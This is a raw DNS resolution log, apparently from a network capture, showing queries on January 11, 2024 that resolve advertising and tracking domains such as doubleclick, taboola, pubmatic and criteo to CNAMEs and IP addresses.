Jan 11, 2024 00:27:14.029788017 CET	1.1.1.1	192.168.2.4	0x8812	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.029788017 CET	1.1.1.1	192.168.2.4	0x8812	No error (0)	securepubads46.g.doubleclick.net		172.253.122.156	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.029788017 CET	1.1.1.1	192.168.2.4	0x8812	No error (0)	securepubads46.g.doubleclick.net		172.253.122.155	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.029881954 CET	1.1.1.1	192.168.2.4	0x3417	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.139420033 CET	1.1.1.1	192.168.2.4	0x3a37	No error (0)	display.bidder.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.139420033 CET	1.1.1.1	192.168.2.4	0x3a37	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.139420033 CET	1.1.1.1	192.168.2.4	0x3a37	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.139420033 CET	1.1.1.1	192.168.2.4	0x3a37	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.139420033 CET	1.1.1.1	192.168.2.4	0x3a37	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.164422035 CET	1.1.1.1	192.168.2.4	0x1b28	No error (0)	display.bidder.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.165981054 CET	1.1.1.1	192.168.2.4	0x1b33	No error (0)	htlb.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.165981054 CET	1.1.1.1	192.168.2.4	0x1b33	No error (0)	htlb.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.168272018 CET	1.1.1.1	192.168.2.4	0x7d22	No error (0)	hbopenbid.pubmatic.com	hbprebid-v3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.168272018 CET	1.1.1.1	192.168.2.4	0x7d22	No error (0)	hbprebid-v3.pubmnet.com	gob-njr3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.168560028 CET	1.1.1.1	192.168.2.4	0x6e58	No error (0)	hbopenbid.pubmatic.com	hbprebid-v3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.168560028 CET	1.1.1.1	192.168.2.4	0x6e58	No error (0)	hbprebid-v3.pubmnet.com	gob-njr3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.168560028 CET	1.1.1.1	192.168.2.4	0x6e58	No error (0)	gob-njr3.pubmnet.com		104.36.115.111	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.189115047 CET	1.1.1.1	192.168.2.4	0x19a1	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.189169884 CET	1.1.1.1	192.168.2.4	0xc430	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.190109968 CET	1.1.1.1	192.168.2.4	0x7442	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.190109968 CET	1.1.1.1	192.168.2.4	0x7442	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.190109968 CET	1.1.1.1	192.168.2.4	0x7442	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.190109968 CET	1.1.1.1	192.168.2.4	0x7442	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.190109968 CET	1.1.1.1	192.168.2.4	0x7442	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.191236973 CET	1.1.1.1	192.168.2.4	0x4509	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.472114086 CET	1.1.1.1	192.168.2.4	0x1fa7	No error (0)	contextual.media.net		23.33.180.25	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.565469980 CET	1.1.1.1	192.168.2.4	0xa829	No error (0)	hb.yahoo.net		23.55.243.208	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.565469980 CET	1.1.1.1	192.168.2.4	0xa829	No error (0)	hb.yahoo.net		23.55.243.202	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.565469980 CET	1.1.1.1	192.168.2.4	0xa829	No error (0)	hb.yahoo.net		23.55.243.213	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.565469980 CET	1.1.1.1	192.168.2.4	0xa829	No error (0)	hb.yahoo.net		23.55.243.219	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.565469980 CET	1.1.1.1	192.168.2.4	0xa829	No error (0)	hb.yahoo.net		23.55.243.218	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.565469980 CET	1.1.1.1	192.168.2.4	0xa829	No error (0)	hb.yahoo.net		23.55.243.216	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.565469980 CET	1.1.1.1	192.168.2.4	0xa829	No error (0)	hb.yahoo.net		23.55.243.198	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.565469980 CET	1.1.1.1	192.168.2.4	0xa829	No error (0)	hb.yahoo.net		23.55.243.201	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.578108072 CET	1.1.1.1	192.168.2.4	0x1429	No error (0)	prebid.media.net		34.120.63.153	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.684238911 CET	1.1.1.1	192.168.2.4	0x38c1	No error (0)	tag.idsync.analytics.yahoo.com	cs815.wac.84914.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.684238911 CET	1.1.1.1	192.168.2.4	0x38c1	No error (0)	cs815.wac.84914.omegacdn.net	cs815200983.wac.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.684238911 CET	1.1.1.1	192.168.2.4	0x38c1	No error (0)	cs815200983.wac.omegacdn.net		152.195.14.41	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:14.685906887 CET	1.1.1.1	192.168.2.4	0x1635	No error (0)	tag.idsync.analytics.yahoo.com	cs815.wac.84914.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.685906887 CET	1.1.1.1	192.168.2.4	0x1635	No error (0)	cs815.wac.84914.omegacdn.net	cs815200983.wac.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:14.876930952 CET	1.1.1.1	192.168.2.4	0xcf29	No error (0)	m.hb.yahoo.net		34.111.85.214	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.062985897 CET	1.1.1.1	192.168.2.4	0x9e3c	No error (0)	i.clean.gg		34.95.69.49	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.275521994 CET	1.1.1.1	192.168.2.4	0xf71	No error (0)	sb.scorecardresearch.com		18.160.10.96	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.275521994 CET	1.1.1.1	192.168.2.4	0xf71	No error (0)	sb.scorecardresearch.com		18.160.10.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.275521994 CET	1.1.1.1	192.168.2.4	0xf71	No error (0)	sb.scorecardresearch.com		18.160.10.18	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.275521994 CET	1.1.1.1	192.168.2.4	0xf71	No error (0)	sb.scorecardresearch.com		18.160.10.71	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.318675995 CET	1.1.1.1	192.168.2.4	0x62bc	No error (0)	js-sec.indexww.com		104.18.38.76	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.318675995 CET	1.1.1.1	192.168.2.4	0x62bc	No error (0)	js-sec.indexww.com		172.64.149.180	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.320832968 CET	1.1.1.1	192.168.2.4	0x1b9f	No error (0)	js-sec.indexww.com			65	IN (0x0001)	false
Jan 11, 2024 00:27:15.397803068 CET	1.1.1.1	192.168.2.4	0x506f	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.397842884 CET	1.1.1.1	192.168.2.4	0x76f3	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.426422119 CET	1.1.1.1	192.168.2.4	0x6ad8	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.426422119 CET	1.1.1.1	192.168.2.4	0x6ad8	No error (0)	gslb-2.demdex.net	edge-va6.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.426422119 CET	1.1.1.1	192.168.2.4	0x6ad8	No error (0)	edge-va6.demdex.net	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.426422119 CET	1.1.1.1	192.168.2.4	0x6ad8	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		54.165.128.106	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.426422119 CET	1.1.1.1	192.168.2.4	0x6ad8	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		34.192.24.192	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.426422119 CET	1.1.1.1	192.168.2.4	0x6ad8	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		34.197.97.197	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.426422119 CET	1.1.1.1	192.168.2.4	0x6ad8	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		54.88.142.173	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.426422119 CET	1.1.1.1	192.168.2.4	0x6ad8	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		52.21.139.214	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.426422119 CET	1.1.1.1	192.168.2.4	0x6ad8	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		54.81.4.12	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.426422119 CET	1.1.1.1	192.168.2.4	0x6ad8	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		18.210.32.32	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.426422119 CET	1.1.1.1	192.168.2.4	0x6ad8	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		52.20.209.35	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.431025982 CET	1.1.1.1	192.168.2.4	0xa61a	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.431025982 CET	1.1.1.1	192.168.2.4	0xa61a	No error (0)	gslb-2.demdex.net	edge-va6.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.431025982 CET	1.1.1.1	192.168.2.4	0xa61a	No error (0)	edge-va6.demdex.net	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.630592108 CET	1.1.1.1	192.168.2.4	0x536e	No error (0)	ssum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.630592108 CET	1.1.1.1	192.168.2.4	0x536e	No error (0)	ssum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.632225990 CET	1.1.1.1	192.168.2.4	0x9c79	No error (0)	ssum-sec.casalemedia.com			65	IN (0x0001)	false
Jan 11, 2024 00:27:15.632260084 CET	1.1.1.1	192.168.2.4	0x2ac1	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.632260084 CET	1.1.1.1	192.168.2.4	0x2ac1	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.633419991 CET	1.1.1.1	192.168.2.4	0xabf6	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.633419991 CET	1.1.1.1	192.168.2.4	0xabf6	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.747639894 CET	1.1.1.1	192.168.2.4	0xc690	No error (0)	service.idsync.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.747639894 CET	1.1.1.1	192.168.2.4	0xc690	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.747639894 CET	1.1.1.1	192.168.2.4	0xc690	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.747639894 CET	1.1.1.1	192.168.2.4	0xc690	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.747639894 CET	1.1.1.1	192.168.2.4	0xc690	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.747946978 CET	1.1.1.1	192.168.2.4	0xd550	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.747946978 CET	1.1.1.1	192.168.2.4	0xd550	No error (0)	image6v2.pubmnet.com	pugm-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.747946978 CET	1.1.1.1	192.168.2.4	0xd550	No error (0)	pugm-vac.pubmnet.com		8.28.7.81	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.748991013 CET	1.1.1.1	192.168.2.4	0x4dc5	No error (0)	service.idsync.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.748991013 CET	1.1.1.1	192.168.2.4	0x4dc5	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.748991013 CET	1.1.1.1	192.168.2.4	0x4dc5	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.751245975 CET	1.1.1.1	192.168.2.4	0x1133	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.751245975 CET	1.1.1.1	192.168.2.4	0x1133	No error (0)	image6v2.pubmnet.com	pugm88000nfc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.751532078 CET	1.1.1.1	192.168.2.4	0xc639	No error (0)	pagead-googlehosted.l.google.com		172.253.63.132	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.887470007 CET	1.1.1.1	192.168.2.4	0xdca7	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.887492895 CET	1.1.1.1	192.168.2.4	0x40c4	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.887492895 CET	1.1.1.1	192.168.2.4	0x40c4	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.110	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.887492895 CET	1.1.1.1	192.168.2.4	0x40c4	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.118	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.887492895 CET	1.1.1.1	192.168.2.4	0x40c4	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.128	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.887492895 CET	1.1.1.1	192.168.2.4	0x40c4	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.83	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.888748884 CET	1.1.1.1	192.168.2.4	0x761c	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.894520044 CET	1.1.1.1	192.168.2.4	0xb1ae	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.894520044 CET	1.1.1.1	192.168.2.4	0xb1ae	No error (0)	uipus.semasio.net		50.57.31.206	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.963645935 CET	1.1.1.1	192.168.2.4	0x6c43	No error (0)	hbx.media.net		23.195.76.23	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.973180056 CET	1.1.1.1	192.168.2.4	0xe1fe	No error (0)	gum.criteo.com	gum.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:15.973180056 CET	1.1.1.1	192.168.2.4	0xe1fe	No error (0)	gum.va1.vip.prod.criteo.com		74.119.119.139	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.973284006 CET	1.1.1.1	192.168.2.4	0xeece	No error (0)	gum.criteo.com	gum.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.067980051 CET	1.1.1.1	192.168.2.4	0x44e2	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.068413019 CET	1.1.1.1	192.168.2.4	0x8f42	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.365233898 CET	1.1.1.1	192.168.2.4	0x87d3	No error (0)	s.amazon-adsystem.com		52.46.151.131	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.368495941 CET	1.1.1.1	192.168.2.4	0xe175	No error (0)	cm.adgrx.com	rtb.adgrx.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.368978024 CET	1.1.1.1	192.168.2.4	0x2f72	No error (0)	cm.adgrx.com	rtb.adgrx.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.368978024 CET	1.1.1.1	192.168.2.4	0x2f72	No error (0)	rtb.adgrx.com		72.251.229.176	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.368978024 CET	1.1.1.1	192.168.2.4	0x2f72	No error (0)	rtb.adgrx.com		173.231.178.81	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.368978024 CET	1.1.1.1	192.168.2.4	0x2f72	No error (0)	rtb.adgrx.com		173.231.178.115	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.368978024 CET	1.1.1.1	192.168.2.4	0x2f72	No error (0)	rtb.adgrx.com		173.231.178.77	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.368978024 CET	1.1.1.1	192.168.2.4	0x2f72	No error (0)	rtb.adgrx.com		173.231.178.116	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.368978024 CET	1.1.1.1	192.168.2.4	0x2f72	No error (0)	rtb.adgrx.com		173.231.178.82	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.368978024 CET	1.1.1.1	192.168.2.4	0x2f72	No error (0)	rtb.adgrx.com		173.231.178.85	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.368978024 CET	1.1.1.1	192.168.2.4	0x2f72	No error (0)	rtb.adgrx.com		173.231.178.83	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.369152069 CET	1.1.1.1	192.168.2.4	0xc586	No error (0)	match.prod.bidr.io		52.87.108.188	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.369152069 CET	1.1.1.1	192.168.2.4	0xc586	No error (0)	match.prod.bidr.io		54.144.185.121	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.369152069 CET	1.1.1.1	192.168.2.4	0xc586	No error (0)	match.prod.bidr.io		54.156.214.92	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.369152069 CET	1.1.1.1	192.168.2.4	0xc586	No error (0)	match.prod.bidr.io		54.147.5.36	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.369152069 CET	1.1.1.1	192.168.2.4	0xc586	No error (0)	match.prod.bidr.io		52.86.139.62	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.369152069 CET	1.1.1.1	192.168.2.4	0xc586	No error (0)	match.prod.bidr.io		52.44.195.200	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.369152069 CET	1.1.1.1	192.168.2.4	0xc586	No error (0)	match.prod.bidr.io		52.72.210.112	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.369152069 CET	1.1.1.1	192.168.2.4	0xc586	No error (0)	match.prod.bidr.io		52.6.152.202	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.370012999 CET	1.1.1.1	192.168.2.4	0x6e91	No error (0)	cm.g.doubleclick.net		142.250.31.156	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.370012999 CET	1.1.1.1	192.168.2.4	0x6e91	No error (0)	cm.g.doubleclick.net		142.250.31.155	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.370830059 CET	1.1.1.1	192.168.2.4	0x2b06	No error (0)	pixel.tapad.com		34.111.113.62	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.371426105 CET	1.1.1.1	192.168.2.4	0x538e	No error (0)	us01.z.antigena.com		40.76.134.238	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.372159958 CET	1.1.1.1	192.168.2.4	0x1285	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.372159958 CET	1.1.1.1	192.168.2.4	0x1285	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.372159958 CET	1.1.1.1	192.168.2.4	0x1285	No error (0)	us-east-eb2.3lift.com		52.223.22.214	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.372159958 CET	1.1.1.1	192.168.2.4	0x1285	No error (0)	us-east-eb2.3lift.com		35.71.139.29	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.372710943 CET	1.1.1.1	192.168.2.4	0x8d83	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.372710943 CET	1.1.1.1	192.168.2.4	0x8d83	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.373141050 CET	1.1.1.1	192.168.2.4	0x3d6	No error (0)	um.simpli.fi		35.194.66.159	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.373141050 CET	1.1.1.1	192.168.2.4	0x3d6	No error (0)	um.simpli.fi		35.236.220.17	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.373141050 CET	1.1.1.1	192.168.2.4	0x3d6	No error (0)	um.simpli.fi		34.150.170.96	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.375519037 CET	1.1.1.1	192.168.2.4	0xb8bb	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.376837015 CET	1.1.1.1	192.168.2.4	0x8433	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.376837015 CET	1.1.1.1	192.168.2.4	0x8433	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.376837015 CET	1.1.1.1	192.168.2.4	0x8433	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.376837015 CET	1.1.1.1	192.168.2.4	0x8433	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.376837015 CET	1.1.1.1	192.168.2.4	0x8433	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.377429008 CET	1.1.1.1	192.168.2.4	0x2713	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.377429008 CET	1.1.1.1	192.168.2.4	0x2713	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.377429008 CET	1.1.1.1	192.168.2.4	0x2713	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.381961107 CET	1.1.1.1	192.168.2.4	0xcf6b	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.381961107 CET	1.1.1.1	192.168.2.4	0xcf6b	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		54.197.142.67	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.381961107 CET	1.1.1.1	192.168.2.4	0xcf6b	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		52.22.225.85	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.381961107 CET	1.1.1.1	192.168.2.4	0xcf6b	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		50.17.250.107	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.381961107 CET	1.1.1.1	192.168.2.4	0xcf6b	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		34.201.248.183	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.399158001 CET	1.1.1.1	192.168.2.4	0x29df	No error (0)	cms.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.399158001 CET	1.1.1.1	192.168.2.4	0x29df	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.399158001 CET	1.1.1.1	192.168.2.4	0x29df	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
